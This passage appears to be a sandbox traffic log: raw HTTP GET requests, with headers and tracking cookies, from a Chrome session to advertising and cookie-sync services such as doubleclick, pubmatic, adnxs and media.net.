IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /sync/pubmatic/EE7B59FE-9DAF-415D-A93C-7AF48020DD7B?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=1980923529&pcid=786797b7-bf38-456a-a874-4aad6fb5186b&ckls=true&ci=4GVRYAeKgB&nc=false&trid=-2008873581 HTTP/1.1Host: sync1.intentiq.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IQver=1.9; intentIQ=4GVRYAeKgB
Source: global traffic	HTTP traffic detected: GET /sync?ssp=medianet&ssp_user_id=3572593249104590000V10 HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: c=1714257726; tuuid=786797b7-bf38-456a-a874-4aad6fb5186b; tuuid_lu=1714257729; ssh=!medianet=1714257729
Source: global traffic	HTTP traffic detected: GET /images/ad-choices.svg HTTP/1.1Host: static.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169
Source: global traffic	HTTP traffic detected: GET /ups/58292/sync?_origin=1&uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&redir=true&gdpr=0&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC="19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y"
Source: global traffic	HTTP traffic detected: GET /track/rid?ttd_pid=yieldmo&fmt=json HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAEYBSABKAIyCwiQndbuv8XzPBAFOAE.
Source: global traffic	HTTP traffic detected: GET /usersync/141?gdpr=0&gdpr_consent= HTTP/1.1Host: match.deepintent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dmp/async_usersync.html?gdpr=0&seller_id=7911&pub_id=2023142 HTTP/1.1Host: acdn.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
Source: global traffic	HTTP traffic detected: GET /pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODA2JnRsPTUxODQwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/adj/N1068.4402292ASKLOCALA/B31278923.386942594;dc_ver=101.296;sz=300x250;u_sd=1;gdpr=0;nel=1;dc_adk=3132527028;ord=qotuw6;click=https%3A%2F%2Fnym1-ib.adnxs.com%2Fclick2%3Fe%3DwqT_3QKbAfBDmwAAAAMAxBkFAQi3_rWxBhD1556Ezbep80wY3s-3-_Wh4JRTIIri2Qoo5z0wlHY4AkCU46bzAUiOlpcBUABaA1VTRGIBBfBSaKwCcPoBeKCwZ4AB9ekFiAEBkAECmAEFoAECqQGPtgjGTXDdP7EBomKcvwmF1T-5AQAAAIDrUR9AwQFs_aFXC4XVP8kB4xk09E9w3T_YAQDgAQA.%2Fs%3Ded5f2669026f0f7e76a6e0d4252c22059c8f2ad3%2Fbcr%3DAAAAAAAA8D8%3D%2Fcnd%3D%2521Whjv8Aiw2-4cEJTjpvMBGI6WlwEgACgAMc3MzMzMzPw_OglOWU0yOjQ1MDhAoUZJAAAAAAAA8D9RAAAAAAAAAABZAAAAAAAAAABhAAAAAAAAAABpAAAAAAAAAABxAAAAAADAIUB4AIkBAAAAAAAA8D8.%2Fcca%3DMTUxMjQjTllNMjo0NTA4%2Fbn%3D95477%2Fclickenc%3D;uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.;dc_rfl=2,https%3A%2F%2Fwww.yahoo.com%2F$0;xdt=1;crlt=cyZyNuI(fd;cmpl=8;gcsr=a;stc=1;asnm=1;chaa=1;sttr=597;prcl=s HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /xbbe/pixel?d=COmwx6QDEPGQ3_AFGIKEyY4CMAE&v=APEucNW3n1sPbEDPkZs_8pmUCIewC45CoaMbj3AzHxGHyoXwxtkM_cEFOr5uqtXjLfPlJx3OXrvR-dvipnuPo91_BYfGIeGWag HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=casale_media2_dsp_secure&google_cm&google_dbm&gdpr=0 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://googleads.g.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /s/75145?bidder_id=195755&bidder_uuid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B HTTP/1.1Host: i.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=7de677f8-dda1-428e-88ae-9b2fad295b01
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=sovrn&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=IkESATZH81_FapvzRxGQQ8ru&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwidHRkIjp7InVpZCI6IjQzZTdkYzhlLTU0NTgtNDM3NS1iZTRhLTY0NDczN2VkNGRiZCIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjA5LjE3MzA1OTc2MVoifX19
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=appnexus&google_cm&google_dbm&gdpr=0 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://googleads.g.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /usersync/medianet/?puid=${VSID}&cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__ HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx%20EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&rnd=RND HTTP/1.1Host: us01.z.antigena.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https://cm.g.doubleclick.net/pixel?google_nid=appnexus&google_hm=${BASE64_UID_ENC} HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://googleads.g.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
Source: global traffic	HTTP traffic detected: GET /sadbundle/13259857157114927549/CB1-Curi_300x600/images/img_0.png HTTP/1.1Host: s0.2mdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.html?cs=8&vsid=3572593249104590000V10&type=rkt&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=1977432098227636774 HTTP/1.1Host: contextual.media.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3572593249104590000V10
Source: global traffic	HTTP traffic detected: GET /sadbundle/13259857157114927549/CB1-Curi_300x600/images/img_1.jpg HTTP/1.1Host: s0.2mdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sadbundle/13259857157114927549/CB1-Curi_300x600/images/img_2.png HTTP/1.1Host: s0.2mdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rrum?ixi=0&cm_dsp_id=85&gdpr=0&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dsp_secure%26google_cm%26google_hm%3D HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://googleads.g.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1
